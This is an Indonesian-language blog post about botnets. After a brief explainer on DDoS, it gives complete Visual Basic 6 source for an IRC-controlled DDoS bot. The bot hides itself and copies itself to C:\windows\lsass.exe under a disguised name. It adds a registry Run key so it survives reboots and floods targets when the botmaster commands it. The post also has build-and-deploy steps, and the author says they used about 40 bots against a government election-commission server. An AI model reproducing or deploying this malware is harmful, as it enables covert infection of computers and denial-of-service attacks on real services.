homepage

Rabu, 06 Oktober 2010

BOTNET?

Jika anda setiap harinya mendapatkan ratusan spam di dalam mailbox, menemukan posting penjualan Viagra pada forum diskusi, atau anda pernah mendengar bahwa sebuah website tidak dapat diakses karena mendapat serangan DDOS. Hal-hal tersebut diatas bisa dilakukan dengan melakukan perintah atas botnets.

Botnet atau Robot jejaringan adalah program tidak terlihat yang tergabung dalam sejumlah pasukan zombie digital dan dikendalikan oleh hacker melalui internet. Umumnya botnet diorganisir melalui irc pada chatroom tertentu yang telah di-set oleh pemiliknya (baca: botmaster). Salah satu jenis botnet yang tersebar di internet adalah worm Conficker/ w32.kido/downadup. Menurut F-Secure, Conficker menginfeksi lebih dari 9 juta komputer dan merupakan worm yang paling sukses penyebarannya dalam sejarah worm di internet.

Bagaimana Botnet bekerja?

Irc Botnet melakukan tugasnya berdasarkan perintah botmaster. Botnet bisa mendapatkan akses penuh terhadap sebuah komputer yang terinfeksi seperti Melakukan serangan DDOS secara serentak, mengendalikan sistem hardware maupun software, mencuri informasi sensitif korban dan mengirimkannya ke chatroom.

Serangan Distributed Denial Of Service dengan Botnet

Sebagai ilustrasinya, penulis akan menjelaskan dengan sangat sederhana. Bayangkan jika anda adalah salah seorang teller pada sebuah bank. Anda akan melayani kostumer secara satu persatu dimana mereka melakukan antrian dan menunggu giliran. Anda tentu bisa memenuhi permintaan kostumer secara satu persatu dan terpenuhi. Secara wajarnya, kostumer hanya melakukan satu atau dua permintaan saja seperti “saya ingin menyetor sejumlah uang” atau “saya minta bilyet giro ini dicairkan ke rekening saya”. Dan anda bukan satu-satunya teller yang melayani kostumer. Beberapa teller menjalankan tugas yang sama seperti anda secara teratur.

Tetapi situasi akan berbeda jika ada sekelompok orang dalam jumlah yang banyak secara serentak menyerbu ke counter dan melakukan banyak permintaan dan berbicara dengan bahasa yang tidak anda mengerti. Masih bisakah anda memenuhi permintaan mereka? Saya yakin hanya satpam yang bisa mengatasi penyerbuan dari sekelompok kostumer yang gila dan tidak tahu darimana asalnya.

Di firefox :
GET / HTTP/1.1
Host: 114.121.6.87
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609
Firefox/3.0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Di Internet Explorer :
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwaveflash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: id
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 114.121.6.87
Connection: Keep-Alive
Di Opera :
GET / HTTP/1.1
User-Agent: Opera/9.50 (Windows NT 5.1; U; en)
Host: 114.121.6.87
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg,
image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: id-ID,id;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Connection: Keep-Alive

Permintaan akan direspon oleh server dan sementara browser hanya menunggu kiriman data. Dan hasilnya adalah tampilan situs yang bisa anda lihat di browser. Untuk permintaan wajar seperti itu, server tidak akan mengalami masalah. Tetapi jika server diminta secara berkali-kali dengan berbagai jenis permintaan yang tidak wajar seperti mengirimkan data sampah dan dilakukan secara serentak. Tentu saja server dengan bandwidth yang seadanya akan langsung down dalam waktu yang singkat.

Pada sebuah channel IRC, penulis memerintahkan botnet untuk melakukan serangan secara serentak. Setiap satu botnet penulis mengirimkan paket dan permintaan sebanyak 2 kali setiap detiknya ke server KPU, ada sekitar 40 bot dengan IP address dan kecepatan koneksi yang berbeda. Artinya ada sekitar 80 kali permintaan setiap detik dimana server KPU memproses permintaan, merespon dan menolak permintaan yang tidak wajar sebanyak 14400 kali dalam waktu 2 menit.

Kayak apakah Source Code Botnet?

Program ini terdiri dari 1 form dan 3 module, berikut source kodenya :

1. Form

‘Title : Xcode Botnet – “unl34sh3d YouR 0wN C0mputa Z0m813″
‘Desc : Botnet
‘Progammer : poni – Xcode/Yogyafree/Yogya Family Code – Software Development Team
‘site : You Know Who We Are
‘Disclaimer : Create Your Own Botnet, Use it As Your Own Risk
‘USAGE : !ddos.start <site> <port> example: !ddos.start www.kpu.go.id 80
‘ !ddos.status
‘ !ddos.stop
‘ !url <site> example: !url www.kpu.go.id
‘ !join <channel> example: !join #Xcode
‘ !part <channel> example: !part #Xcode
‘ !version
Private Declare Function CopyFile Lib “kernel32″ Alias “CopyFileA” (ByVal lpExistingFileName As String, ByVal
lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Const Server As String = “irc.dal.net” ‘Server IRC, bisa diubah sesuai kehendak
Const port As Integer = “6667″ ‘Port, bisa diubah sesuai kehendak
Const Channel As String = “#H.A.C.K” ‘Channel untuk mengontrol Zombie, bisa diubah sesuai kehendak
Const Master As String = “poni” ‘Botmaster, bisa diubah sesuai kehendak
Const Versi As String = “XCode-Yogyafree botnet. Open Edition authoni” ‘Versi bot
Dim DataGetWsc As String
Private Sub Form_Load()
WinSockIRC.Connect Server, port
timerrekonek.Enabled = True
Me.Hide
App.TaskVisible = False
infeksi
End Sub
Private Sub Form_Unload(Cancel As Integer)
If WinSockIRC.State = sckConnected Then
WinSockIRC.Close
End If
End Sub
Function connected() As Boolean
If WinSockIRC.State = sckConnected Then
connected = True
Else
connected = False
End If
End Function
Private Sub timerinfeksi_Timer()
timerinfeksi.Enabled = False
If Second(Now) Mod 100 = 0 Then Call infeksi
timerinfeksi.Enabled = True
End Sub
Private Sub timerrekonek_Timer()
If Not (connected) Then
WinSockIRC.Close
Call Form_Load
End If
Exit Sub
End Sub
Private Sub WinSockIRC_Connect()
nick = “C3we_” + modcomputername.ComputerName() + “_Cakep” + “^” & LTrim(RTrim(Str(Int(Rnd * 1000)))) &
“^”
WinSockIRC.SendData “NICK ” + nick & vbCrLf
WinSockIRC.SendData “USER ” & nick & ” ” & WinSockIRC.LocalIP & ” Coba : Cobacoba” & vbCrLf
WinSockIRC.SendData “JOIN ” & Channel & ” ” & vbCrLf
End Sub
Private Sub WinSockIRC_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim Data As String
Dim i As Integer
Dim Downloaded As Boolean
Dim WRD() As String
Dim CMD64 As String
Dim VCMD() As String
WinSockIRC.GetData Data, vbString
DataGetWsc = Data
DoEvents
If InStr(Data, “PING”) Then
WinSockIRC.SendData Replace(Data, “PING”, “PONG”) & vbCrLf
ActiveDos = 1
End If
If InStr(Data, “:!”) Then
VCMD = Split(Data, “:!”)
CMD64 = VCMD(1)
WRD() = Split(CMD64, ” “)
End If
If InStr(VCMD(0), “:” & Master & “!”) Then
‘–Perintah DDOS—’
If InStr(CMD64, “ddos.start”) Then
If statusdos = “AKTIF” Then
WinSockIRC.SendData “PRIVMSG ” & Channel & ” DOS Status: Hanya bisa DDOS pada satu target.” &
vbCrLf
Else
If WRD(1) = “” Then
WinSockIRC.SendData “PRIVMSG ” & Channel & ” DOS Penggunaan: !ddos.start ip port” & vbCrLf
ElseIf WRD(2) = “” Then
WinSockIRC.SendData “PRIVMSG ” & Channel & ” DOS Penggunaan: !ddos.start ip port” & vbCrLf
Else
ip.Text = WRD(1)
ipport.Text = WRD(2)
Call mulai_tembak
End If
End If
End If
If InStr(CMD64, “ddos.status”) Then
If statusdos.Text = “IDLE” Then
WinSockIRC.SendData “PRIVMSG ” & Channel & ” DOS Status: Idle-menunggu perintah.” & vbCrLf
Else
WinSockIRC.SendData “PRIVMSG ” & Channel & ” DOS Status: Aktif – Target: ” & ip.Text & “:” & ipport.Text &
vbCrLf
End If
End If
If InStr(CMD64, “ddos.stop”) Then
StopDoS
End If
‘—buka web—’
If InStr(CMD64, “url”) Then
Bukasitus WRD(1)
End If
‘—melihat versi bot—’
If InStr(CMD64, “version”) Then
WinSockIRC.SendData “PRIVMSG ” & Channel & ” :INFO: ” & Versi & vbCrLf
End If
‘—join channel irc—’
If InStr(CMD64, “join”) Then
WinSockIRC.SendData “JOIN ” & WRD(1) & ” ” & vbCrLf
End If
‘–keluar dari channel irc—’
If InStr(CMD64, “part”) Then
WinSockIRC.SendData “PART ” & WRD(1) & ” ” & vbCrLf
End If
End If
End Sub
Private Sub mulai_tembak()
timerddos.Enabled = False
sockddos.Connect ip.Text, ipport.Text
End Sub
Private Sub sockddos_Connect()
statusdos.Text = “AKTIF”
timerddos.Enabled = True
End Sub
Private Sub timerddos_Timer()
On Error GoTo diskonek
tembak:
Dim HTTPData As String
HTTPData = “GET / HTTP/1.0″ & vbNewLine & “Host: ” & DIP & vbNewLine & vbNewLine
sockddos.SendData HTTPData
sockddos.SendData “DDOSING.YOUR.Server.poni.xcode.yogyafree!*$
#vvfhtgfrtyrrwe54dfdwe343e2thjhgbf^%#^&#*#H#$Y#&N$ MFU*#$J%*DJ*$%JF*J$*FJ*$iiiiiiiiiiiiiiiiiii6666666 6666666
666666666666666666666666JF*J$*FJ*$%JF*J$*J*$J*FJJF OSLKFK”
Exit Sub
diskonek:
sockddos.Close
Call mulai_tembak
Exit Sub
End Sub
Private Sub sockddos_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim StrX As String
DoS.GetData StrX
End Sub
Private Sub StartDoS()
timerddos.Enabled = True
End Sub
Private Sub StopDoS()
sockddos.Close
timerddos.Enabled = False
ip = ” “
ipport.Text = ” “
statusdos.Text = “IDLE”
End Sub
Private Sub infeksi()
On Error Resume Next
Dim nama As String
Dim path As String
Dim Cek As String
path = App.path
If Right(path, 1) <> “\” Then path = path & “\”
nama = path & App.EXEName & “.exe”
CopyFile nama, “C:\windows\lsass.exe”, True
CopyFile App.path & “\” & txtkomponenwinsock, “C:\windows\MSWINSCK.OCX”, True
Cek = AmbilString(HKLM, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run “, “C:\windows\lsass.exe”)
If Cek = “” Then
BuatString HKLM, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run “, “NeroCheck”,
“C:\windows\lsass.exe”
End If End Sub

2. Module ModAutorun

Private Const KEY_READ = &H20000 Or &H1& Or &H8& Or &H10&
Private Const KEY_WRITE = &H20000 Or &H2& Or &H4&
Public Declare Function SetCursorPos Lib “user32″ (ByVal X As Long, ByVal Y As Long) As Long
Public Const HKCU = &H80000001
Public Const HKLM = &H80000002
Private Const REG_SZ = 1
Private Const REG_DWORD = 4
Private Const ERROR_SUCCESS = 0&
Private Declare Function RegOpenKeyEx Lib “advapi32.dll” Alias “RegOpenKeyExA” (ByVal hkey As Long, ByVal
lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib “advapi32.dll” Alias “RegSetValueExA” (ByVal hkey As Long, ByVal
lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As
Long) As Long
Private Declare Function RegQueryValueEx Lib “advapi32.dll” Alias “RegQueryValueExA” (ByVal hkey As Long,
ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As
Long
Private Declare Function RegCloseKey Lib “advapi32.dll” (ByVal hkey As Long) As Long
Public Function BuatDword(ByVal hkey As Long, ByVal alamat As String, ByVal nama As String, ByVal nilai As
Long) As Boolean
Dim handle As Long
Dim hasil As Long
hasil = RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, handle)
If hasil <> ERROR_SUCCESS Then
BuatDword = False
Else
BuatDword = True
End If
RegSetValueEx handle, nama, 0&, REG_DWORD, nilai, 4&
RegCloseKey handle
End Function
Public Function BuatString(ByVal hkey As Long, ByVal alamat As String, ByVal nama As String, ByVal nilai As
String) As Boolean
Dim handle As Long
Dim hasil As Long
hasil = RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, handle)
If hasil <> ERROR_SUCCESS Then
BuatString = False
Else
BuatString = True
End If
RegSetValueEx handle, nama, 0, REG_SZ, ByVal nilai, Len(nilai)
RegCloseKey handle
End Function
Public Function AmbilDword(ByVal hkey As Long, ByVal alamat As String, nama As String) As Long
On Error Resume Next
Dim handle As Long
RegOpenKeyEx hkey, alamat, 0, KEY_READ, handle
AmbilDword = RegQueryValue(handle, nama)
RegCloseKey handle
End Function
Public Function AmbilString(ByVal hkey As Long, ByVal alamat As String, ByVal nama As String) As String
On Error Resume Next
Dim handle As Long
RegOpenKeyEx hkey, alamat, 0, KEY_READ, handle
AmbilString = RegQueryValue(handle, nama)
RegCloseKey handle
End Function
Private Function RegQueryValue(ByVal hkey As Long, ByVal strValueName As String) As String
Dim hasil As Long
Dim Jenis As Long
Dim Buffer As String
Dim Ukuran As Long
hasil = RegQueryValueEx(hkey, strValueName, 0, Jenis, ByVal 0, Ukuran)
If hasil = 0 Then
If Jenis = REG_SZ Then
Buffer = String(Ukuran, Chr$(0))
hasil = RegQueryValueEx(hkey, strValueName, 0, 0, ByVal Buffer, Ukuran)
If hasil = 0 Then RegQueryValue = Left$(Buffer, InStr(1, Buffer, Chr$(0)) – 1)
ElseIf Jenis = REG_DWORD Then
Dim strdata As Integer
hasil = RegQueryValueEx(hkey, strValueName, 0, 0, strdata, Ukuran)
If hasil = 0 Then RegQueryValue = strdata
End If
End If
End Function

3. Module modbukasitus

Public Declare Function ShellExecute Lib “shell32.dll” Alias “ShellExecuteA” (ByVal hWnd As Long, ByVal
lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal
nShowCmd As Long) As Long
Public Sub Bukasitus(Website As String)
ShellExecute 0&, vbNullString, Website, vbNullString, vbNullString, SW_SHOWNORMAL End Sub

4. modcomputername

Option Explicit
Private Declare Function GetComputerName Lib “kernel32″ _
Alias “GetComputerNameA” (ByVal lpBuffer As String, _
nSize As Long) As Long
Public Function ComputerName() As String
Dim lsBuffer As String
Dim llReturn As Long
Dim lsName As String
lsName = “”
lsBuffer = Space$(255)
llReturn = GetComputerName(lsBuffer, 255)
If llReturn Then
lsName = Left$(lsBuffer, InStr(lsBuffer, Chr(0)) – 1)
End If
ComputerName = lsName
End Function


Source code botnet bisa anda edit sesuai keperluan. Compile dengan Visual Basic 6.0 dan jalankan botnet di komputer yang terkoneksi ke internet. Jalankan irc client (mIRC, Xchat dll), masuk ke channel yang telah anda set tersebut. Semakin anda memiliki banyak botnet, semakin kokoh pasukan zombie
digital anda.

Komponen form
· textbox – ip = kolom IP address target
· textbox – ipport = kolom port server target
· textbox – statusdos = untuk menjaga serangan DDOS tetap terarah pada satu target
· textbox – txtkomponenwinsock = untuk copy komponen activeX MSWINSCK.OCX ke C:\windows
· MSWINSCK.OCX – WinSockIRC = Untuk melakukan koneksi ke server IRC
· MSWINSCK.OCX – sockddos = Untuk melakukan koneksi ke server target DDOS
· Timer – timerrekonek (Enabled = false & Interval = 4000) = untuk melakukan koneksi ulang jika
botnet terputus dari server IRC
· timer – timerddos (Enabled = false & Interval = 400) = untuk melakukan serangan DDOS ke
server target
· timer – timerinfeksi (Enabled = true & Interval = 1000) = untuk membuat dan menjaga supaya
botnet tetap aktif setiap kali komputer dihidupkan (autorun at startup)


Referensi :

http://forum.yogyqafree.net

Tidak ada komentar:

Posting Komentar